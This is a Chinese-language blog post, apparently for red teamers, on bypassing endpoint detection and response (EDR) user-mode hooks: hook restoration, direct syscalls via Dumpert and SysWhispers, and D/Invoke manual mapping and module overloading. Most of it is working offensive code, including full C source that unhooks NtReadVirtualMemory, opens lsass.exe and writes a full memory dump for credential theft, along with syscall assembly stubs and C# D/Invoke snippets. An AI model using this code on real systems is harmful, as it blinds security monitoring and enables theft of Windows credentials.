0x01 前言
这几年,端点检测和响应平台(Endpoint detection and response)-EDR越来越受到重视,EDR产品的功能基本包含实时端点监控、数据分析、威胁检测和拦截以及威胁发现能力。EDR的监控点之一是在应用层进行Hook,在渗透测试或者red-team交战中,一些开源的攻击性安全工具会很容易被EDR的应用层Hook点发现和拦截。下面介绍几种可以用来绕过EDR的应用层Hook的方法
0x02 Hook钩子还原
EDR的Hook一般会在系统DLL的函数头进行Hook,比如会Hook NtWriteVirtualMemory的函数,并将NtWriteVirtualMemory开头的字节码改为jmp指令,调到EDR的DLL中进行监控判断是否是一个恶意的行为。所以这种对抗方法,可以Patch该API的JMP指令,来还原Hook,进行绕过EDR,下图为移除Cylance的钩子代码:
该方案的缺点是,需要针对不同EDR厂商的补丁进行还原,不同EDR厂商的挂钩点API以及挂钩位置都可能不一致。
不同厂商的挂钩位置可以参考 https://github.com/D3VI5H4/Antivirus-Artifacts
0x03 Dumpert工具直接syscall调用Native API恢复NtReadVirtualMemory钩子来实现dump lsass的绕过
Dumpert 工具不直接调用API,这个工具会直接使用汇编来恢复NtReadVirtualMemory的钩子,然后调用MiniDumpWriteDump来dump lsass,代码如下:
通过汇编代码调用ZwWriteVirtualMemory、ZwProtectVirtualMemory来UnHook NtReadVirtualMemory,
BOOL Unhook_NativeAPI(IN PWIN_VER_INFO pWinVerInfo) { BYTE AssemblyBytes[] = {0x4C, 0x8B, 0xD1, 0xB8, 0xFF}; if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) { AssemblyBytes[4] = pWinVerInfo->SystemCall; ZwWriteVirtualMemory = &ZwWriteVirtualMemory10; ZwProtectVirtualMemory = &ZwProtectVirtualMemory10; } else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && pWinVerInfo->dwBuildNumber == 7601) { AssemblyBytes[4] = pWinVerInfo->SystemCall; ZwWriteVirtualMemory = &ZwWriteVirtualMemory7SP1; ZwProtectVirtualMemory = &ZwProtectVirtualMemory7SP1; } else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) { AssemblyBytes[4] = pWinVerInfo->SystemCall; ZwWriteVirtualMemory = &ZwWriteVirtualMemory80; ZwProtectVirtualMemory = &ZwProtectVirtualMemory80; } else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) { AssemblyBytes[4] = pWinVerInfo->SystemCall; ZwWriteVirtualMemory = &ZwWriteVirtualMemory81; ZwProtectVirtualMemory = &ZwProtectVirtualMemory81; } else { return FALSE; } LPVOID lpProcAddress = GetProcAddress(LoadLibrary(L"ntdll.dll"), pWinVerInfo->lpApiCall); LPVOID lpBaseAddress = lpProcAddress; ULONG OldProtection, NewProtection; SIZE_T uSize = 10; NTSTATUS status = ZwProtectVirtualMemory(GetCurrentProcess(), &lpBaseAddress, &uSize, PAGE_EXECUTE_READWRITE, &OldProtection); if (status != STATUS_SUCCESS) { return FALSE; } status = ZwWriteVirtualMemory(GetCurrentProcess(), lpProcAddress, (PVOID)AssemblyBytes, sizeof(AssemblyBytes), NULL); if (status != STATUS_SUCCESS) { return FALSE; } status = ZwProtectVirtualMemory(GetCurrentProcess(), &lpBaseAddress, &uSize, OldProtection, &NewProtection); if (status != STATUS_SUCCESS) { return FALSE; } return TRUE; }
Unhook NtReadVirtualMemory之后,通过汇编调用ZwOpenProcess、ZwCreateFile来打开lsass进程、创建dump文件,然后再调用MiniDumpWriteDump来创建lsass的dump
__declspec(dllexport) void __cdecl Dump() { if (sizeof(LPVOID) != 8) { exit(1); } if (!IsElevated()) { exit(1); } SetDebugPrivilege(); PWIN_VER_INFO pWinVerInfo = (PWIN_VER_INFO)calloc(1, sizeof(WIN_VER_INFO)); // First set OS Version/Architecture specific values OSVERSIONINFOEXW osInfo; osInfo.dwOSVersionInfoSize = sizeof(osInfo); _RtlGetVersion RtlGetVersion = (_RtlGetVersion) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlGetVersion"); if (RtlGetVersion == NULL) { exit(1); } RtlGetVersion(&osInfo); swprintf_s(pWinVerInfo->chOSMajorMinor, _countof(pWinVerInfo->chOSMajorMinor), L"%u.%u", osInfo.dwMajorVersion, osInfo.dwMinorVersion); pWinVerInfo->dwBuildNumber = osInfo.dwBuildNumber; // Now create os/build specific syscall function pointers. if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"10.0") == 0) { ZwOpenProcess = &ZwOpenProcess10; ZwClose = &ZwClose10; NtCreateFile = &NtCreateFile10; pWinVerInfo->SystemCall = 0x3F; } else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.1") == 0 && osInfo.dwBuildNumber == 7601) { ZwOpenProcess = &ZwOpenProcess7SP1; ZwClose = &ZwClose7SP1; NtCreateFile = &NtCreateFile7SP1; pWinVerInfo->SystemCall = 0x3C; } else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.2") == 0) { ZwOpenProcess = &ZwOpenProcess80; ZwClose = &ZwClose80; NtCreateFile = &NtCreateFile80; pWinVerInfo->SystemCall = 0x3D; } else if (_wcsicmp(pWinVerInfo->chOSMajorMinor, L"6.3") == 0) { ZwOpenProcess = &ZwOpenProcess81; ZwClose = &ZwClose81; NtCreateFile = &NtCreateFile81; pWinVerInfo->SystemCall = 0x3E; } else { exit(1); } _RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString"); if (RtlInitUnicodeString == NULL) { exit(1); } RtlInitUnicodeString(&pWinVerInfo->ProcName, L"lsass.exe"); if (!GetPID(pWinVerInfo)) { exit(1); } pWinVerInfo->lpApiCall = "NtReadVirtualMemory"; if (!Unhook_NativeAPI(pWinVerInfo)) { exit(1); } HANDLE hProcess = NULL; OBJECT_ATTRIBUTES ObjectAttributes; InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); CLIENT_ID uPid = { 0 }; uPid.UniqueProcess = pWinVerInfo->hTargetPID; uPid.UniqueThread = (HANDLE)0; NTSTATUS status = ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &ObjectAttributes, &uPid); if (hProcess == NULL) { exit(1); } WCHAR chDmpFile[MAX_PATH] = L"\??\"; WCHAR chWinPath[MAX_PATH]; GetWindowsDirectory(chWinPath, MAX_PATH); wcscat_s(chDmpFile, sizeof(chDmpFile) / sizeof(wchar_t), chWinPath); wcscat_s(chDmpFile, sizeof(chDmpFile) / sizeof(wchar_t), L"\Temp\dumpert.dmp"); UNICODE_STRING uFileName; RtlInitUnicodeString(&uFileName, chDmpFile); HANDLE hDmpFile = NULL; IO_STATUS_BLOCK IoStatusBlock; ZeroMemory(&IoStatusBlock, sizeof(IoStatusBlock)); OBJECT_ATTRIBUTES FileObjectAttributes; InitializeObjectAttributes(&FileObjectAttributes, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL); // Open input file for writing, overwrite existing file. status = NtCreateFile(&hDmpFile, FILE_GENERIC_WRITE, &FileObjectAttributes, &IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE, FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); if (hDmpFile == INVALID_HANDLE_VALUE) { ZwClose(hProcess); exit(1); } DWORD dwTargetPID = GetProcessId(hProcess); BOOL Success = MiniDumpWriteDump(hProcess, dwTargetPID, hDmpFile, MiniDumpWithFullMemory, NULL, NULL, NULL); ZwClose(hDmpFile); ZwClose(hProcess); return; }
我们可以看看汇编代码的实现,主要是通过对API的Index赋值到eax,然后调用syscall
这里存在一个问题,不同版本的windows中ntdll里面API调用的Index不一样,汇编代码会有差异,所以这里需要针对不同windows版本适配需要调用的汇编代码:
https://github.com/outflanknl/Dumpert/blob/master/Dumpert-DLL/Outflank-Dumpert-DLL/Syscalls.asm
直接调用汇编代码这种方案可以直接绕开EDR的应用层Hook,不过缺点就是需要对各个windows各个版本进行大量的适配。
可以通过 Syswhispers 或 Syswhispers2 工具来解析ntdll.dll中的Index,其中Syswhispers2减少了asm文件的大小,Dumpert、Syswhispers、Syswhispers2目前都只支持x64位的Syscall,如果需要x86的Syscall,可以参考SysWhispers2_x86
其中Syswhispers、Syswhispers2都需要安装python3,我们尝试通过Syswhispers用以下命令获取NtProtectVirtualMemory的汇编代码
>py .syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
其中syscalls_mem.asm代码如下:
.code NtProtectVirtualMemory PROC mov rax, gs:[60h] ; Load PEB into RAX. NtProtectVirtualMemory_Check_X_X_XXXX: ; Check major version. cmp dword ptr [rax+118h], 5 je NtProtectVirtualMemory_SystemCall_5_X_XXXX cmp dword ptr [rax+118h], 6 je NtProtectVirtualMemory_Check_6_X_XXXX cmp dword ptr [rax+118h], 10 je NtProtectVirtualMemory_Check_10_0_XXXX jmp NtProtectVirtualMemory_SystemCall_Unknown NtProtectVirtualMemory_Check_6_X_XXXX: ; Check minor version for Windows Vista/7/8. cmp dword ptr [rax+11ch], 0 je NtProtectVirtualMemory_Check_6_0_XXXX cmp dword ptr [rax+11ch], 1 je NtProtectVirtualMemory_Check_6_1_XXXX cmp dword ptr [rax+11ch], 2 je NtProtectVirtualMemory_SystemCall_6_2_XXXX cmp dword ptr [rax+11ch], 3 je NtProtectVirtualMemory_SystemCall_6_3_XXXX jmp NtProtectVirtualMemory_SystemCall_Unknown NtProtectVirtualMemory_Check_6_0_XXXX: ; Check build number for Windows Vista. cmp word ptr [rax+120h], 6000 je NtProtectVirtualMemory_SystemCall_6_0_6000 cmp word ptr [rax+120h], 6001 je NtProtectVirtualMemory_SystemCall_6_0_6001 cmp word ptr [rax+120h], 6002 je NtProtectVirtualMemory_SystemCall_6_0_6002 jmp NtProtectVirtualMemory_SystemCall_Unknown NtProtectVirtualMemory_Check_6_1_XXXX: ; Check build number for Windows 7. cmp word ptr [rax+120h], 7600 je NtProtectVirtualMemory_SystemCall_6_1_7600 cmp word ptr [rax+120h], 7601 je NtProtectVirtualMemory_SystemCall_6_1_7601 jmp NtProtectVirtualMemory_SystemCall_Unknown NtProtectVirtualMemory_Check_10_0_XXXX: ; Check build number for Windows 10. cmp word ptr [rax+120h], 10240 je NtProtectVirtualMemory_SystemCall_10_0_10240 cmp word ptr [rax+120h], 10586 je NtProtectVirtualMemory_SystemCall_10_0_10586 cmp word ptr [rax+120h], 14393 je NtProtectVirtualMemory_SystemCall_10_0_14393 cmp word ptr [rax+120h], 15063 je NtProtectVirtualMemory_SystemCall_10_0_15063 cmp word ptr [rax+120h], 16299 je NtProtectVirtualMemory_SystemCall_10_0_16299 cmp word ptr [rax+120h], 17134 je NtProtectVirtualMemory_SystemCall_10_0_17134 cmp word ptr [rax+120h], 17763 je NtProtectVirtualMemory_SystemCall_10_0_17763 cmp word ptr [rax+120h], 18362 je NtProtectVirtualMemory_SystemCall_10_0_18362 cmp word ptr [rax+120h], 18363 je NtProtectVirtualMemory_SystemCall_10_0_18363 cmp word ptr [rax+120h], 19041 je NtProtectVirtualMemory_SystemCall_10_0_19041 cmp word ptr [rax+120h], 19042 je NtProtectVirtualMemory_SystemCall_10_0_19042 jmp NtProtectVirtualMemory_SystemCall_Unknown NtProtectVirtualMemory_SystemCall_5_X_XXXX: ; Windows XP and Server 2003 mov eax, 004dh jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_6_0_6000: ; Windows Vista SP0 mov eax, 004dh jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_6_0_6001: ; Windows Vista SP1 and Server 2008 SP0 mov eax, 004dh jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_6_0_6002: ; Windows Vista SP2 and Server 2008 SP2 mov eax, 004dh jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_6_1_7600: ; Windows 7 SP0 mov eax, 004dh jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_6_1_7601: ; Windows 7 SP1 and Server 2008 R2 SP0 mov eax, 004dh jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_6_2_XXXX: ; Windows 8 and Server 2012 mov eax, 004eh jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_6_3_XXXX: ; Windows 8.1 and Server 2012 R2 mov eax, 004fh jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_10_0_10240: ; Windows 10.0.10240 (1507) mov eax, 0050h jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_10_0_10586: ; Windows 10.0.10586 (1511) mov eax, 0050h jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_10_0_14393: ; Windows 10.0.14393 (1607) mov eax, 0050h jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_10_0_15063: ; Windows 10.0.15063 (1703) mov eax, 0050h jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_10_0_16299: ; Windows 10.0.16299 (1709) mov eax, 0050h jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_10_0_17134: ; Windows 10.0.17134 (1803) mov eax, 0050h jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_10_0_17763: ; Windows 10.0.17763 (1809) mov eax, 0050h jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_10_0_18362: ; Windows 10.0.18362 (1903) mov eax, 0050h jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_10_0_18363: ; Windows 10.0.18363 (1909) mov eax, 0050h jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_10_0_19041: ; Windows 10.0.19041 (2004) mov eax, 0050h jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_10_0_19042: ; Windows 10.0.19042 (20H2) mov eax, 0050h jmp NtProtectVirtualMemory_Epilogue NtProtectVirtualMemory_SystemCall_Unknown: ; Unknown/unsupported version. ret NtProtectVirtualMemory_Epilogue: mov r10, rcx syscall ret NtProtectVirtualMemory ENDP
syscalls_mem.h代码如下:
#pragma once #include <Windows.h> EXTERN_C NTSTATUS NtProtectVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID * BaseAddress, IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect);
可以看到是生成的syscalls_mem.c先通过gs:[60h]获取PEB地址,然后通过PEB->OSMajorVersion、PEB->OSMinorVersion判断版本号,调用对应NtProtectVirtualMemory的Index
nt!_PEB +0x118 OSMajorVersion : Uint4B +0x11c OSMinorVersion : Uint4B
SysWhispers2测试如下,会生成syscalls_mem.c、syscalls_mem.h、syscalls_mem_stubs.asm共三个文件。
syscalls_mem_stubs.asm代码如下,使用NtProtectVirtualMemory的Hash名称传递给SW2_GetSyscallNumber函数
.code EXTERN SW2_GetSyscallNumber: PROC NtProtectVirtualMemory PROC push rcx ; Save registers. push rdx push r8 push r9 mov ecx, 00D9F0319h ; Load function hash into ECX. call SW2_GetSyscallNumber ; Resolve function hash into syscall number. pop r9 ; Restore registers. pop r8 pop rdx pop rcx mov r10, rcx syscall ; Invoke system call. ret NtProtectVirtualMemory ENDP end
SW2_GetSyscallNumber具体实现如下,获取到NTDLL的地址,获取相关导出函数进行排序,保存函数名HASH
SW2_SYSCALL_LIST SW2_SyscallList; DWORD SW2_HashSyscall(PCSTR FunctionName) { DWORD i = 0; DWORD Hash = SW2_SEED; while (FunctionName[i]) { WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++); Hash ^= PartialName + SW2_ROR8(Hash); } return Hash; } BOOL SW2_PopulateSyscallList() { // Return early if the list is already populated. if (SW2_SyscallList.Count) return TRUE; PSW2_PEB Peb = (PSW2_PEB)__readgsqword(0x60); PSW2_PEB_LDR_DATA Ldr = Peb->Ldr; PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; PVOID DllBase = NULL; // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second // in the list, so it's safer to loop through the full list and find it. PSW2_LDR_DATA_TABLE_ENTRY LdrEntry; for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) { DllBase = LdrEntry->DllBase; PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; if (VirtualAddress == 0) continue; ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); // If this is NTDLL.dll, exit loop. PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue; if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break; } if (!ExportDirectory) return FALSE; DWORD NumberOfNames = ExportDirectory->NumberOfNames; PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); // Populate SW2_SyscallList with unsorted Zw* entries. DWORD i = 0; PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries; do { PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); // Is this a system call? if (*(USHORT*)FunctionName == 'wZ') { Entries[i].Hash = SW2_HashSyscall(FunctionName); Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; i++; if (i == SW2_MAX_ENTRIES) break; } } while (--NumberOfNames); // Save total number of system calls found. SW2_SyscallList.Count = i; // Sort the list by address in ascending order. for (DWORD i = 0; i < SW2_SyscallList.Count - 1; i++) { for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++) { if (Entries[j].Address > Entries[j + 1].Address) { // Swap entries. SW2_SYSCALL_ENTRY TempEntry; TempEntry.Hash = Entries[j].Hash; TempEntry.Address = Entries[j].Address; Entries[j].Hash = Entries[j + 1].Hash; Entries[j].Address = Entries[j + 1].Address; Entries[j + 1].Hash = TempEntry.Hash; Entries[j + 1].Address = TempEntry.Address; } } } return TRUE; } EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash) { // Ensure SW2_SyscallList is populated. if (!SW2_PopulateSyscallList()) return -1; for (DWORD i = 0; i < SW2_SyscallList.Count; i++) { if (FunctionHash == SW2_SyscallList.Entries[i].Hash) { return i; } } return -1; }
Nim使用asm绕过EDR可以参考NimlineWhispers,该项目的使用blog可以参考https://ajpc500.github.io/nim/Shellcode-Injection-using-Nim-and-Syscalls/
0x04 P/Invoke to D/Invoke
P/Invoke基本上是从Windows库文件静态导入API调用的默认方式,这种方式容易被检测。D/Invoke是在运行时手动加载Windows API函数,病使用指向其在内存中位置的指针来调用该函数。安全软件不会检查比如读取ntdll.dll内存的行为,因此不会hook这个读入内存的ntdll.dll,这个读入的ntdll.dll中执行代码是不会被监控到的。
代码https://github.com/NVISOsecurity/DInvisibleRegistry共使用了三种D/Invoke的方法
1. 动态调用,这种方法可以绕过IAT Hook
public static DInvoke.Data.Native.NTSTATUS NtOpenKey( ref IntPtr keyHandle, STRUCTS.ACCESS_MASK desiredAccess, ref STRUCTS.OBJECT_ATTRIBUTES objectAttributes) { object[] funcargs = { keyHandle,desiredAccess,objectAttributes }; DInvoke.Data.Native.NTSTATUS retvalue = (DInvoke.Data.Native.NTSTATUS)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenKey", typeof(DELEGATES.NtOpenKey), ref funcargs); keyHandle = (IntPtr)funcargs[0]; return retvalue;
}
2. Manual Mapping ,这种方法将目标文件加载到内存中,然后使用加载到内存中文件导出的API,核心代码如下:
DInvoke.Data.PE.PE_MANUAL_MAP mappedDLL = new DInvoke.Data.PE.PE_MANUAL_MAP(); mappedDLL = DInvoke.ManualMap.Map.MapModuleToMemory(@"C:WindowsSystem32 tdll.dll"); retValue = (DInvoke.Data.Native.NTSTATUS)DInvoke.DynamicInvoke.Generic.CallMappedDLLModuleExport(mappedDLL.PEINFO, mappedDLL.ModuleBase, "NtOpenKey", typeof(DELEGATES.NtOpenKey), ntOpenKeyParams, false); keyHandle = (IntPtr)ntOpenKeyParams[0];
3. OverloadMapping,会先将目标文件加载到内存中,然后覆盖一个合法路径的文件内存,所以执行起来,像是从磁盘上合法DLL执行的,代码如下:
DInvoke.Data.PE.PE_MANUAL_MAP mappedDLL = DInvoke.ManualMap.Overload.OverloadModule(@"C:WindowsSystem32 tdll.dll"); Console.WriteLine("Decoy module is found! Using: {0} as a decoy", mappedDLL.DecoyModule);
执行后可以看到,Overload了workfolderssvc.dll,并且可以看到NtOpenKey操作的堆栈也是从workfolderssvc.dll发出
参考https://offensivedefence.co.uk/posts/dinvoke-syscalls/,我们还有种Syscalls的绕过方案DInvoke.DynamicInvoke.Generic.GetSyscallStub
IntPtr pAllocateSysCall = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtAllocateVirtualMemory");
NtAllocateVirtualMemory fSyscallAllocateMemory = (NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(pAllocateSysCall, typeof(NtAllocateVirtualMemory));
参考:https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/